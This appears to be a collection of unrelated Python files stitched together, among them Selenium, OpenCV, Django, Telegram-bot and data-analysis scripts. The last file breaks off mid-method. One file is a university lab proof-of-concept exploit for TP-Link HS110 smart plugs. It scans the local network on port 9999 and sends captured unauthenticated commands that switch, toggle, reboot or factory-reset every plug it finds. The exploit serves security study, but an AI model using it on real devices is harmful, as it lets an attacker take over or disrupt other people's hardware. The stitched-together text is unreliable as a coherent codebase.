# -*- coding: utf-8 -*-

__author__ = "苦叶子"

from selenium import webdriver
from selenium.webdriver import ActionChains

if __name__ == "__main__":
    driver = webdriver.Chrome()
    action_chains = ActionChains(driver)
    driver.get("http://www.python.org")

    # 获取About链接元素，并加入动作链
    About = driver.find_element_by_link_text("About")
    action_chains.click_and_hold(About)
    action_chains.pause(2)
    # 使用下列的动作可以释放按下的鼠标
    # action_chains.release()

    # 执行动作链
    action_chains.perform()

    driver.quit()


'''
ECE419/CS460 Security Lab Project
Rishov Dutta (rsdutta2), Daniel Zhang (dzhang54)

This is proof-of-concept code to exploit the TP-Link HS110 Smart plug
by sending arbitrary commands to the plug without authentication nor
through the given app. This code can only be used locally, and can be
used on one or more plugs. The code can also detect all smart plugs on
the network.

Notes:
To improve performance on scan operations, used multithreading to access
128 ip's at once. Ran this for two batches to target a total of 256 ip's.
Increased speed of scan ~128x since no longer sequential for 256 iterations.

Refer to the report for more details.

This code should not be used to exploit anyone's plugs whatsoever.
'''

import socket
import time
import argparse
from threading import Thread

#runs specified command to target ip on port 9999 by sending tcp packets with payload collected from sniffing
#see report for how commands were gathered
def run_cmd(command_input, ip):
	try:
		socket.setdefaulttimeout(1)
		command = cmd[command_input.lower()]
		connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		connection.connect((ip, 9999))
		connection.send(command.decode('hex'))
		response = connection.recv(2048)
		if command_input.lower() not in ['on', 'off']:
			print ('{{{}'.format(decrypt_response(response)))
		connection.close()
	except Exception as e:
		print ('Could not run command on smart plug')
		print (e)
		connection.close()

#toggles plug at specified ip on and off over a certain duration with constant interval
def toggle_on_off(duration, rest, ip):
	start_time = time.time()
	try:
		while time.time() - start_time < duration:
			run_cmd('on', ip)
			time.sleep(rest)
			run_cmd('off', ip)
			time.sleep(rest)
	except Exception as e:
		print ('Could not run toggle for duration')
		print (e)

#scans entire network for plugs in parallel (had issues spawning 256 threads at once, so did 2 batches of 128)
def ip_scan():
	try:
		current_hostname = socket.gethostbyname(socket.gethostname())
		subnet_name = current_hostname[:current_hostname.rfind('.') + 1]
	except Exception as e:
		print ('No network found')
		print (e)
		return

	found_plugs = {0:[], 1:[]}
	threads = []
	for i in range(128):
		t = Thread(target=check_ip, args=('{}{}'.format(subnet_name, i), found_plugs))
		threads.append(t)
	for i in threads:
		i.start()
	for i in threads:
		i.join()

	threads = []
	for i in range(128, 256):
		t = Thread(target=check_ip, args=('{}{}'.format(subnet_name, i), found_plugs))
		threads.append(t)
	for i in threads:
		i.start()
	for i in threads:
		i.join()

	if len(found_plugs) > 0:
		print ('Found plugs at {}'.format(found_plugs[1]))
		return found_plugs[1]

#function to check individual ip if it is plug
def check_ip(ip, found_plugs):
	socket.setdefaulttimeout(.1)
	connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	connection.connect_ex((ip, 9999))
	try:
		connection.send('0000'.decode('hex'))
		connection.recv(1024)
		found_plugs[1].append(ip)
		connection.close()
	except Exception as e:
		found_plugs[0].append(ip)
		connection.close()

#TP-Link encryption algorithm as specified in report
def decrypt_response(string):
	key = 171
	result = ''
	for i in string:
		a = key ^ ord(i)
		key = ord(i)
		result += chr(a)
	return result[5:]

'''
Code usage instructions

-ip flag to specify specify ip of plug
-s flag to scan network for possible buld ip's
-c flag to specify commands from command list (use -h for full list)
-t flag for toggling for specific duration and intervals

example commands

python plug_attacks.py -ip 192.168.1.100 -c on: Turns plug at specified ip on

python plug_attacks.py -ip 192.168.1.100 -t 3 .5: toggles plug at specified ip on and off for 3 seconds at .5 second intervals

python plug_attacks.py -s: scans networks for all plugs

python plug_attacks.py -s -c on: scans network for all plugs and turns them all on

python plug_attacks.py -s -t 3 .5: toggles all plugs on network on and off for 3 seconds at .5 second intervals

'''

if __name__ == "__main__":
	cmd = {'on': '00000066d0f281f88bff9af7d5ef94b6c5a0d48bf99cf091e8b7c4b0d1a5c0e2d8a381f286e793f6d4eedfa2dff3d1b2ddb3c7a2daae8cb6cdef9cf386f497f2d0eac8aac9acc8fc99fccfe281e7d2e6cbffc8fec9e4ddeddfbe93a792f091f3c5f6c7f4c2a196b4c9b4',
			'off': '00000066d0f281f88bff9af7d5ef94b6c5a0d48bf99cf091e8b7c4b0d1a5c0e2d8a381f286e793f6d4eedea3def2d0b3dcb2c6a3dbaf8db7ccee9df287f596f3d1ebc9abc8adc9fd98fdcee380e6d3e7cafec9ffc8e5dcecdebf92a693f190f2c4f7c6f5c3a097b5c8b5',
			'info': '0000001dd0f281f88bff9af7d5ef94b6d1b4c09fec95e68fe187e8caf08bf68bf6',
			'nearby-networks': '00000028d0f29cf98de482a09ae1c3a4c1b5ea99fa9bf59cf294fbd9e398bac8adcbb9dcafc7e5dfef92ef92',
			'schedule': '0000001dd0f281e28aef8bfe92f7d5ef94b6d1b4c09fed98f491e2c0fa81fc81fc',
			'energy': '0000001ed0f297fa9feb8efcdee49fbddabfcb94e683e28efa93fe9bb983f885f885',
			'reboot': '00000021d0f281f88bff9af7d5ef94b6c4a1c3acc3b795afd4f692f79bfa83a19baad7aad7',
			'factory-reset': '00000020d0f281f88bff9af7d5ef94b6c4a1d2b7c3e1dba082e683ef8ef7d5efdea3dea3'}
	parser = argparse.ArgumentParser(description='CS460 Final Project TP-Link Smart Plug Exploits')
	ip_or_scan = parser.add_mutually_exclusive_group(required=True)
	ip_or_scan.add_argument('-ip', '--smart-plug-ip', dest='ip', metavar='<smart plug ip address>', help='Smart Plug IP address (192.168.X.Y, 10.0.0.X , etc)')
	ip_or_scan.add_argument('-s', '--scan', action='store_true', dest='scan', help='Scan for smart plugs')
	cmd_or_toggle = parser.add_mutually_exclusive_group(required=False)
	cmd_or_toggle.add_argument('-c', '--command', metavar='<command>', help='Command choices are: {}'.format([keys for keys in cmd]))
	cmd_or_toggle.add_argument('-t', '--toggle', nargs=2, dest='toggle', metavar=('<duration', 'interval>'), help='Toggle on and off, supply duration then interval (both in seconds)')
	args = parser.parse_args()

	if args.ip and (args.command is None and args.toggle is None):
	    parser.error('-ip/--smart-plug-ip requires -c/--command or -t/--toggle')

	if args.ip:
		if args.command:
			run_cmd(args.command, args.ip)
		else:
			toggle_on_off(float(args.toggle[0]), float(args.toggle[1]), args.ip)
	else:
		plugs = ip_scan()
		threads = []
		for plug in plugs:
			if args.command:
				threads.append(Thread(target=run_cmd, args=(args.command, plug)))
			elif args.toggle:
				threads.append(Thread(target=toggle_on_off, args=(float(args.toggle[0]), float(args.toggle[1]), plug)))
		for i in threads:
			i.start()
		for i in threads:
			i.join()
		if args.command or args.toggle:
			print ('Ran specified operation on plugs at {}'.format(plugs))


import myLibrary as Lib
import matplotlib.pyplot as plt

def f(x): return 4/(1+x**2)

a = 0
b = 1

Res = Lib.integ_MonteCarlo(f, a, b, 500, 10, 10)

# For plotting:

x = Res[1]
y = Res[2]

plt.plot(x, y)
plt.title("\u03C0 vs Monte Carlo Integration result")
plt.xlabel("Sample size -->")
plt.ylabel("Integration value -->")

plt.show()


# -*- coding: utf-8 -*-
"""
Created on Sun Sep 30 23:00:33 2018

@author: taishi-o
"""

import sys
import numpy as np
import cv2

#------------------
# Load images
#------------------
file = "./picture/asobi_asobase11/"
sketchnum = np.arange(678,694,1)
infnum = np.arange(0, 16, 1)

#------------------
# Define functions
#------------------
def myFillImages(src):
    dst = np.array(src)

    # Mask
    h, w = dst.shape[:2]
    mask = np.zeros((h, w), dtype=np.uint8)
    mask_for_fill = np.zeros((h+2, w+2), dtype=np.uint8)
    mask[src==0] = 1 # 1: Done, 0: Undone

    # Fill
    label = 1
    for i in range(h):
        for j in range(w):
            if mask[i, j] == 0: # If undone
                cv2.floodFill(
                        dst, mask_for_fill, (j,i), label)
                mask[mask_for_fill[1:1+h, 1:1+w]==1] = 1
                label += 1

                if np.sum(mask==0) == 0:
                    break

                if label >= 255:
                    print("label becomes larger than 255!!")
                    sys.exit()

    return label, dst

def spreadColor(src, fill, label):
    dst = np.array(src)

    for labelnum in range(label):
        med_B = np.median(src[:,:,0][fill==labelnum])
        med_G = np.median(src[:,:,1][fill==labelnum])
        med_R = np.median(src[:,:,2][fill==labelnum])

        dst[:,:,0][fill==labelnum] = med_B
        dst[:,:,1][fill==labelnum] = med_G
        dst[:,:,2][fill==labelnum] = med_R

    return dst

def combineSketchInfSpread(spread, inference, sketch, thresh):
    dst = np.array(spread)

    dst[:,:,0][thresh==0] = inference[:,:,0][thresh==0]
    dst[:,:,1][thresh==0] = inference[:,:,1][thresh==0]
    dst[:,:,2][thresh==0] = inference[:,:,2][thresh==0]

    dst = dst.astype(np.float32)
    sketch = sketch.astype(np.float32)

    sketch_inv = 255 - sketch
    dst[:,:,0] -= sketch_inv
    dst[:,:,1] -= sketch_inv
    dst[:,:,2] -= sketch_inv

    dst = np.clip(dst, 0, 255).astype(np.uint8)

    return dst

#------------------
# Main
#------------------
for imgnum in range(sketchnum.shape[0]):
    sketch = cv2.imread(file + "sketch/{:06d}.png".format(
            sketchnum[imgnum]), -1)
    inference = cv2.imread("./inference_{:03d}.png".format(
            infnum[imgnum]), -1)
    # Threshold sketch img
    ret, thresh = cv2.threshold(sketch, 240, 255, cv2.THRESH_BINARY)
    # Fill
    label, fill = myFillImages(thresh)
    # Spread
    spread = spreadColor(inference, fill, label)
    # Combine with inference
    result = combineSketchInfSpread(spread, inference, sketch, thresh)

    # Save
    cv2.imwrite("test{:03d}.png".format(imgnum), result)


#!/usr/bin/env python
# -*- coding:utf-8 -*-

from retry import retry

@retry(ZeroDivisionError, tries=3, delay=1, max_delay=5, backoff=2, jitter=(0, 3))
def bar():
    """如果抛了ZeroDivisionError, 重试3次,每次延迟2秒,最大延迟5秒,每次异常,延迟时间乘以2,每次延迟加上0到3中间的随机秒

    如果还是抛错,将异常抛出"""

    res = 2 / 0
    return res

if __name__ == '__main__':
    import logging

    logging.basicConfig()
    bar()


#!/usr/bin/python

import time
from datetime import datetime
import argparse
import CHIP_IO.GPIO as GPIO
import socket

def doLog(log_msg):
    print("%s: %s" % (datetime.now().strftime("%Y_%d_%m (%a) - %H:%M:%S.%f")[:-3], log_msg))

if __name__ == "__main__":
    '''
    pd_socketServer.py -p port
    '''
    parser = argparse.ArgumentParser(description='open socket on specified port, listen for "go", produce PD signal')
    parser.add_argument('-p',  dest='port', type=int, default=8888, help='port to listen on')

    args = parser.parse_args()

    GPIO.setup("CSID0", GPIO.OUT)
    GPIO.setup("CSID1", GPIO.OUT)
    GPIO.output("CSID0", 0)
    GPIO.output("CSID1", 0)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('', args.port))
    s.listen(10)
    doLog('Waiting on port %d' % ( args.port))
    conn, addr = s.accept()
    #doLog('Recieved conn from %s' % (addr))
    doLog('Recieved conn...')

    while True:
        d = conn.recv(10)
        if d[0:2] == 'go':
            doLog("Rcv'd: %s" % (d[:-2]))
            GPIO.output("CSID0", 1)
            GPIO.output("CSID1", 1)
            time.sleep(0.100)
            GPIO.output("CSID0", 0)
            GPIO.output("CSID1", 0)


"""myproject URL Configuration

The `urlpatterns` list routes URLs to views. For more information please see:
    https://docs.djangoproject.com/en/4.0/topics/http/urls/
Examples:
Function views
    1. Add an import:  from my_app import views
    2. Add a URL to urlpatterns:  path('', views.home, name='home')
Class-based views
    1. Add an import:  from other_app.views import Home
    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')
Including another URLconf
    1. Import the include() function: from django.urls import include, path
    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path

# lets define a view function
#from views import myHomeViewFunction,myAboutUsViewFunction,myContactUsViewFunction
from . import views

urlpatterns = [ # List
    path('letmein/', admin.site.urls,name="adminRoute"),
    #path(routename, viewfunction, kwargs=None, nameOfTheRoute=None)
    path('', views.myHomeViewFunction , name="homeRoute" ),
    path('aboutus/', views.myAboutUsViewFunction , name="aboutUsoute" ),
    path('product/<slug:category>',views.category,name="categoryRoute"),
    path('cart/',views.cart,name="cartRoute"),
    path('detail/',views.detail,name="detailRoute"),
    path('contactus/',views.contact,name="contactRoute"),
    path('login/',views.login,name="loginRoute"),
    path('search/',views.search,name="searchRoute"),
    path('checkout/',views.checkout,name="checkoutRoute"),

]


from collections import deque

class Graph:

    matrix = []
    def __init__(self, goalx, goaly):
        with open('input.txt') as file:
            self.matrix = [[int(digit) for digit in line.split()] for line in file]
        self.goalx = goalx
        self.goaly = goaly
        self.path = False

    def isValid(self, row, col, visited):

        if row == self.goalx and col == self.goaly: #GOAL State Found!
            print ("GOAL STATE FOUND!")
            self.path = True
            return False

        # Stop if goal state is found!
        if self.path == True:
            return False

        if row < 0 or col < 0 or row > 11 or col > 11:
            return False

        if visited[row][col] == True:
            return False

        if self.matrix[row][col] == False:
            return False

        return True

    def DFS(self, x, y, visited):

        global count

        visited[x][y] = True

        print(x, end = ",")
        print(y, end = " ")

        if self.isValid(x-1, y, visited): #Up
            print("UP")
            self.DFS(x-1, y, visited)
        if self.isValid(x, y-1, visited): #Left
            print("LEFT")
            self.DFS(x, y-1, visited)
        if self.isValid(x, y+1, visited): #Right
            print("RIGHT")
            self.DFS(x, y+1, visited)
        if self.isValid(x+1, y, visited): #Down
            print("DOWN")
            self.DFS(x+1, y, visited)
        count = count + 1

    def BFS(self, x, y):

        queue = deque()
        visited = [[ False for i in range(12)] for i in range(12)]
        queue.append((x, y))
        steps = 0

        while queue:
            node = queue.popleft()

            x = node[0]
            y = node[1]
            print(node)

            if (x == self.goalx and y == self.goaly):
                print ("GOAL STATE FOUND!")
                return steps

            if x < 0 or y < 0 or x >= 12 or y >= 12 or visited[x][y] or self.matrix[x][y] == False:
                continue

            visited[x][y] = True;

            queue.append((x-1, y)) #UP
            queue.append((x, y-1)) #LEFT
            queue.append((x, y+1)) #RIGHT
            queue.append((x+1, y)) #DOWN

            steps += 1
        return steps

if __name__ == "__main__":
    goalx = 10
    goaly = 0
    visited = [[ False for i in range(12)] for i in range(12)]

    # Create Graph
    maze = Graph(goalx, goaly)

    count = 0
    startx = 4
    starty = 11

    maze.DFS(startx, starty, visited)

    count = count + 1
    print("Algorithm: DFS, Steps Taken: " + str(count))

    print("----------------------------------------------")

    count = maze.BFS(startx, starty)
    count = count + 1
    print("Algorithm: BFS, Steps Taken: " + str(count))


from functools import wraps

def cache(func):
    @wraps(func)
    def wrapper(n):
        log_key = n
        if log_key not in wrapper.log:
            wrapper.log[log_key] = func(n)
        return wrapper.log[log_key]
    wrapper.log = {}
    return wrapper

@cache
def fibonacci(n):
    if n < 2:
        return n
    else:
        return fibonacci(n - 1) + fibonacci(n - 2)

fibonacci(7)
print(fibonacci.log)
fibonacci(4)
print(fibonacci.log)


import asyncio
import httpx

async def log_request(request):
        print(f"Request: {request.method} {request.url}")

async def log_response(respose):
    request = respose.request
    print(f"Response: {request.method} {request.url} - Status {respose.status_code}")

async def get_episode(ep_id: int):
    async with httpx.AsyncClient(event_hooks={'request': [log_request], 'response':[log_response]}) as client:
        r = await client.get(f'https://rickandmortyapi.com/api/episode/{ep_id}')
        results.append(r.json())
        return

async def main():
    tasks = []
    for ep_id in range(1,11):
        tasks.append(get_episode(ep_id))
    await asyncio.gather(*tasks)

results = []
asyncio.run(main())

print(len(results))


from datetime import date
import datetime

def dia_da_semana(date = date.today()):
    dias = {0:'segunda', 1:'terça', 2:'quarta', 3:'quinta', 4:'sexta', 5:'sábado', 6:'domingo'}
    return (dias[date.weekday()])

def aniverssauro(anos, niver):
    today = datetime.datetime.today()
    diferenca = today - niver
    idade = anos + diferenca.days // 365
    print(idade, end=' Próximo niver daqui a: ')

    niver_atual = niver.replace(today.year)
    if niver_atual > today:
        print((niver_atual - today))
    else:
        print(niver_atual.replace(today.year + 1) - today)

def dia_duplo(idade1, birthday1, idade2, birthday2, n=2):
    today = datetime.datetime.today()
    vida1 = today - birthday1.replace(today.year-idade1)
    vida2 = today - birthday2.replace(today.year - idade2)
    x = abs(vida1 - vida2)
    y = x/(n-1)
    print(y, x + y)

print(dia_da_semana())
niver = datetime.datetime(2017, 6, 27)
niver2 = datetime.datetime(2018, 11, 19)
aniverssauro(15, niver)
print(niver.time())

dia_duplo(18, niver, 19, niver2, 5)


import wx

import common
import compat
import config
import misc
from edit_windows import ManagedBase, EditStylesMixin
from tree import Tree
from widget_properties import *
from ChoicesProperty import *

class EditComboBox(ManagedBase, EditStylesMixin):
    """\
    Class to handle wxComboBox objects
    """

    update_widget_style = False

    def __init__(self, name, parent, id, choices, sizer, pos, property_window,
                 show=True):

        # Initialise parent classes
        ManagedBase.__init__(self, name, 'wxComboBox', parent, id, sizer,
                             pos, property_window, show=show)
        EditStylesMixin.__init__(self)

        # initialise instance variables
        self.choices = choices
        if len(choices):
            self.selection = 0
        else:
            self.selection = -1
        if config.preferences.default_border:
            self.border = config.preferences.default_border_size
            self.flag = wx.ALL

        # initialise properties remaining staff
        self.access_functions['choices'] = (self.get_choices, self.set_choices)
        self.access_functions['style'] = (self.get_style, self.set_style)
        self.properties['style'] = CheckListProperty(
            self, 'style', self.widget_writer)
        self.properties['choices'] = ChoicesProperty(self, 'choices', None,
                                                     [('Label',
                                                       GridProperty.STRING)],
                                                     len(choices), label=_("choices"))
        self.access_functions['selection'] = (self.get_selection,
                                              self.set_selection)
        self.choices = list(choices)
        self.properties['selection'] = SpinProperty(self, 'selection', None,
                                                    r=(0, len(choices)-1), label=_("selection"))

    def create_widget(self):
        self.widget = wx.ComboBox(self.parent.widget, self.id,
                                 choices=self.choices)
        self.set_selection(self.selection)
        wx.EVT_LEFT_DOWN(self.widget, self.on_set_focus)

    def create_properties(self):
        ManagedBase.create_properties(self)
        panel = wx.Panel(self.notebook, -1)
        szr = wx.BoxSizer(wx.VERTICAL)
        self.properties['choices'].display(panel)
        self.properties['style'].display(panel)
        self.properties['selection'].display(panel)
        szr.Add(self.properties['style'].panel, 0, wx.EXPAND)
        szr.Add(self.properties['selection'].panel, 0, wx.EXPAND)
        szr.Add(self.properties['choices'].panel, 1, wx.EXPAND)
        panel.SetAutoLayout(True)
        compat.SizerItem_SetSizer(panel, szr)
        szr.Fit(panel)
        self.notebook.AddPage(panel, 'Widget')
        self.properties['choices'].set_col_sizes([-1])

    def get_selection(self):
        return self.selection

    def set_selection(self, value):
        value = int(value)
        if self.selection != value:
            self.selection = value
            if self.widget:
                self.widget.SetSelection(value)

    def get_choices(self):
        return zip(self.choices)

    def set_choices(self, values):
        self.choices = [ misc.wxstr(v[0]) for v in values ]
        self.properties['selection'].set_range(0, len(self.choices)-1)
        if self.widget:
            self.widget.Clear()
            for c in self.choices:
                self.widget.Append(c)
            if not self.properties['size'].is_active():
                self.sizer.set_item(self.pos, size=self.widget.GetBestSize())

    def get_property_handler(self, prop_name):
        if prop_name == 'choices':
            return ChoicesHandler(self)
        return ManagedBase.get_property_handler(self, prop_name)

# end of class EditComboBox

def builder(parent, sizer, pos, number=[1]):
    """\
    factory function for EditComboBox objects.
    """
    name = 'combo_box_%d' % number[0]
    while common.app_tree.has_name(name):
        number[0] += 1
        name = 'combo_box_%d' % number[0]
    choice = EditComboBox(name, parent, wx.NewId(),
                          [], sizer, pos, common.property_panel)
    node = Tree.Node(choice)
#    sizer.set_item(pos, size=choice.GetBestSize())
    choice.node = node
    choice.show_widget(True)
    common.app_tree.insert(node, sizer.node, pos - 1)

def xml_builder(attrs, parent, sizer, sizeritem, pos=None):
    """\
    factory to build EditComboBox objects from a XML file
    """
    from xml_parse import XmlParsingError
    try:
        name = attrs['name']
    except KeyError:
        raise XmlParsingError(_("'name' attribute missing"))
    if sizer is None or sizeritem is None:
        raise XmlParsingError(_("sizer or sizeritem object cannot be None"))
    choice = EditComboBox(name, parent, wx.NewId(), [], sizer, pos,
                          common.property_panel)
    sizer.set_item(choice.pos, option=sizeritem.option,
                   flag=sizeritem.flag, border=sizeritem.border)
    node = Tree.Node(choice)
    choice.node = node
    if pos is None:
        common.app_tree.add(node, sizer.node)
    else:
        common.app_tree.insert(node, sizer.node, pos - 1)
    return choice

def initialize():
    """\
    initialization function for the module: returns a wxBitmapButton to be
    added to the main palette.
    """
    common.widgets['EditComboBox'] = builder
    common.widgets_from_xml['EditComboBox'] = xml_builder

    return common.make_object_button('EditComboBox', 'combo_box.xpm')


from pyrogram import Client, filters, errors
from time import sleep
import re

app = Client("my_account")

def dynamic_data_filter(data):
    return filters.create(
        lambda flt, _, query: flt.data == query.data,
        data=data  # "data" kwarg is accessed with "flt.data" above
    )

@app.on_message(filters.command("type", prefixes='.') & filters.me)
def type(_, msg):
    orig_text = msg.text.split(".type ", maxsplit=1)[1]
    text = orig_text
    tbp = ''
    chat_id, message_id = msg['chat']['id'], msg['message_id']
    typing_symbol = '▒'
    while(tbp != orig_text):
        try:
            app.edit_message_text(chat_id, message_id, f'{tbp + typing_symbol}', parse_mode='html')
            sleep(0.15)

            tbp = tbp + str(text)[0]
            text = text[1:]

            app.edit_message_text(chat_id, message_id, f'{tbp}', parse_mode='html')
            sleep(0.15)
        except errors.FloodWait as e:
            sleep(e.x)

@app.on_message(filters.command("b", prefixes='.') & filters.me)
def bold(_, msg):
    orig_text = re.split(".B |.b ", msg.text, maxsplit=1)[1]
    chat_id, message_id = msg['chat']['id'], msg['message_id']
    app.edit_message_text(chat_id, message_id, f'{orig_text}', parse_mode='html')

@app.on_message(filters.command("i", prefixes='.') & filters.me)
def italic(_, msg):
    orig_text = re.split(".I |.i ", msg.text, maxsplit=1)[1]
    chat_id, message_id = msg['chat']['id'], msg['message_id']
    app.edit_message_text(chat_id, message_id, f'{orig_text}', parse_mode='html')

@app.on_message(filters.command("bi", prefixes='.') & filters.me)
def bold_and_italic(_, msg):
    orig_text = re.split(".Bi |.bi ", msg.text, maxsplit=1)[1]
    chat_id, message_id = msg['chat']['id'], msg['message_id']
    app.edit_message_text(chat_id, message_id, f'{orig_text}', parse_mode='html')

@app.on_message(filters.command("wave", prefixes='.') & filters.me)
def wave(_, msg):
    orig_text = msg.text.split(".wave", maxsplit=1)[1]
    text = orig_text.lower()
    tbp = text
    for j in range(5):
        for i in range(0, len(text)):
            try:
                msg.edit(tbp[:i] + tbp[i].upper() + tbp[i + 1:])
                sleep(0.1)
            except errors.FloodWait as e:
                sleep(e.x)
        if tbp != tbp.lower():
            msg.edit(tbp.lower())

@app.on_message(filters.command("Я гуль", prefixes='') & filters.me)
def zxc(_, msg):
    a = 1000
    contacts = app.get_contacts()
#    print(contacts)
    while a > 0:
        try:
            app.send_message(msg["chat"]["id"], f"{a} - 7 = {a - 7}", parse_mode="html")
            a -= 7
        except errors.FloodWait as e:
            sleep(e.x)
    app.send_message(msg["chat"]["id"], "let me die", parse_mode="html")

app.run()


import pandas as pd
import matplotlib.pyplot as plt
import tensorflow as tf
from tensorflow import keras

# load data files
UFO_complete_df = pd.read_csv('./data/ufo/complete.csv',
                              on_bad_lines='skip',
                              dtype={
                                  'datetime': str,
                                  'city': str,
                                  'state': str,
                                  'country': str,
                                  'shape': str,
                                  'duration (seconds)': str,
                                  'duration (hours/min)': str,
                                  'comments': str,
                                  'date posted': str,
                                  'latitude': str,
                                  'longitude': str,
                                  }
                              )
UFO_scrubbed_df = pd.read_csv('./data/ufo/scrubbed.csv',
                              on_bad_lines='skip',
                              dtype={
                                  'datetime': str,
                                  'city': str,
                                  'state': str,
                                  'country': str,
                                  'shape': str,
                                  'duration (seconds)': str,
                                  'duration (hours/min)': str,
                                  'comments': str,
                                  'date posted': str,
                                  'latitude': str,
                                  'longitude': str,
                                  }
                              )
AAL_df = pd.read_csv('./data/airline_stock/AAL.csv', on_bad_lines='skip')
DAL_df = pd.read_csv('./data/airline_stock/DAL.csv', on_bad_lines='skip')
LUV_df = pd.read_csv('./data/airline_stock/LUV.csv', on_bad_lines='skip')
UAL_df = pd.read_csv('./data/airline_stock/UAL.csv', on_bad_lines='skip')

# variable identification
# print('UFO_complete_df.head', UFO_df.head(), sep="\n")
# print('AAL_df.head', AAL_df.head(), sep="\n")

# count missing value in each column
# print(UFO_complete_df.isna().sum())
# print(UFO_scrubbed_df.isna().sum())

# remove each row which has missing value
UFO_complete_df = UFO_complete_df.dropna()
UFO_scrubbed_df = UFO_scrubbed_df.dropna()
AAL_df = AAL_df.dropna()
DAL_df = DAL_df.dropna()
LUV_df = LUV_df.dropna()
UAL_df = UAL_df.dropna()

# sort dataframe by date format 'yyyy/mm/dd' & remove time element in datetime column
UFO_complete_df = UFO_complete_df.sort_values(by='datetime')
UFO_scrubbed_df = UFO_scrubbed_df.sort_values(by='datetime')

UFO_complete_df['datetime'] = pd.to_datetime(UFO_complete_df['datetime'], errors='coerce', format='%m/%d/%Y %H:%M').dt.date
UFO_scrubbed_df['datetime'] = pd.to_datetime(UFO_scrubbed_df['datetime'], errors='coerce', format='%m/%d/%Y %H:%M').dt.date

UFO_complete_df = UFO_complete_df.dropna(subset=['datetime'])
UFO_scrubbed_df = UFO_scrubbed_df.dropna(subset=['datetime'])

UFO_complete_df['datetime'] = pd.to_datetime(UFO_complete_df['datetime'], format='%Y/%m/%d')
UFO_scrubbed_df['datetime'] = pd.to_datetime(UFO_scrubbed_df['datetime'], format='%Y/%m/%d')

UFO_complete_df['datetime'] = UFO_complete_df['datetime'].dt.strftime('%Y/%m/%d')
UFO_scrubbed_df['datetime'] = UFO_scrubbed_df['datetime'].dt.strftime('%Y/%m/%d')

print('UFO_complete_df.head', UFO_complete_df.head(), sep="\n")
print('UFO_scrubbed_df.head', UFO_scrubbed_df.head(), sep="\n")

# visualize each dataframe's distribution
city_count = UFO_complete_df['city'].value_counts()
top_10 = city_count.nlargest(50)

country_count = UFO_complete_df['country'].value_counts()
top_50 = country_count.nlargest(50)
# print(type(city_count))

top_10.plot(kind='bar')
plt.xlabel('City')
plt.ylabel('Count')
plt.title('Cities UFO Frequence')
plt.show()

top_50.plot(kind='bar')
plt.xlabel('Country')
plt.ylabel('Count')
plt.title('Countries UFO Frequence')
plt.show()

# fig, ax = plt.subplots()
# city_count.plot(kind='bar', ax=ax)

# # 축 및 제목 설정
# ax.set_xlabel('datetime')
# ax.set_ylabel('city Frequency')
# ax.set_title('Distribution of city Frequency')

# # 그래프 표시
# plt.show()


from django.conf import settings
from telegram import ParseMode
from telegram.ext import Updater, Defaults

from tcrb.apps.app_handlers import apps

defaults = Defaults(parse_mode=ParseMode.HTML, )

def start_polling():
    updater = Updater(token=settings.BOT_SECRET_KEY, defaults=defaults)
    dispatcher = updater.dispatcher
    _init_handlers(dispatcher)
    return updater.start_polling()

def _init_handlers(dispatcher) -> None:
    for group, handlers in apps.handlers.items():
        for handler in handlers:
            dispatcher.add_handler(handler, group)


import numpy as np
from sklearn.externals import joblib
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import StandardScaler

from util import io

def baseline_crf(train_percentage, sft, future, embed='none'):
    """
    news day n results in day n+1 price, shift index by 1 position
    :param train_percentage: train test split
    :return: x_train, y_train, x_test, y_test
    """
    if future:
        train = io.read_future_market_v2('gpl')
    else:
        train = io.read_spot_market_v2('gpl')
        train = train.drop(['ncg', 'Tradingday', 'Liefertag'], axis=1)
    train['price'] = train['price'].diff()
    train['price'] = train['price'] > 0
    news = io.load_news(embed)
    train = train.join(news, how='left')
    train['price'] = train['price'].shift(sft)
    train.dropna(inplace=True)

    x_train, x_test, y_train, y_test = train_test_split(train.drop('price', axis=1), train['price'],
                                                        test_size=1 - train_percentage, shuffle=False)
    return x_train, x_test, y_train, y_test

def generate(window, stride, predict_length, future=True, save_scaler=True, train_percentage=0.6, embed=True, is_regress=True, news=True):
    """
    :param window: length of the predict data
    :param stride: stride
    :param predict_length: how much days will be predicted
    :param save_scaler: save scaler to be used later in reference
    :param future: read future or spot market
    :param train_percentage: train test split
    :param embed: embed the news or full text
    :param is_regress: False if classification
    :return: x_train, y_train, x_test, y_test
    """
    if future:
        train = io.read_future_market_v2('gpl')
    else:
        train = io.read_spot_market_v2('gpl')
    if news:
        news = io.load_news(embed)
    else:
        news = io.load_events()
    # the training label, don't scale
    original_price = np.array(train.values).squeeze()
    if is_regress:
        y = np.array(
            [original_price[i:i + predict_length] for i in range(window, len(original_price) - predict_length, stride)])
    else:
        original_price = original_price[predict_length:] - original_price[0:-predict_length]
        y = np.array([original_price[i] for i in range(window, len(original_price) - predict_length, stride)])

    # do not scale one hot encoding for now, scale later and see if things change, try to explain, gives out the source
    # is data rich enough to form a triplet or knowledge graph, (also for linked news)
    future_price_scaler = StandardScaler()
    train = train.join(news, how='left')
    train.fillna(0, inplace=True)
    split = int(len(train) * train_percentage)

    train.loc[:split, 'price'] = future_price_scaler.fit_transform(
        train['price'][:split].values.reshape(-1, 1)).squeeze()
    train.loc[split:, 'price'] = future_price_scaler.transform(
        train['price'][split:].values.reshape(-1, 1)).squeeze()

    train = np.array(train)
    # scaled_ = np.concatenate((scaled_, future_price_scaler.transform(train[split:])))
    x = np.array([train[i:i + window] for i in range(0, len(train) - window, stride)])
    if len(x) > len(y):
        x = x[:len(y)]
    x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=1 - train_percentage, shuffle=False)

    # how a news has big effect on event long term and short term
    print("Saving scaler")
    if save_scaler:
        joblib.dump(future_price_scaler, 'scaler.pkl')

    print("Saving scaler done")
    return x_train, x_test, y_train, y_test


from typing import Any, Callable

class BinaryNode:
    value: Any
    left_child: 'BinaryNode'
    right_child: 'BinaryNode'

    def __init__(self, value: Any) -> None:
        self.value = value
        self.left_child = None
        self.right_child = None

    def min(self) -> 'BinaryNode':
        temp = self
        while temp.left_child is not None:
            temp = temp.left_child

    def traverse_in_order(self, visit: Callable[[Any], None]) -> None:
        if self.left_child is not None:
            self.left_child.traverse_in_order(visit)

        visit(self)

        if self.right_child is not None:
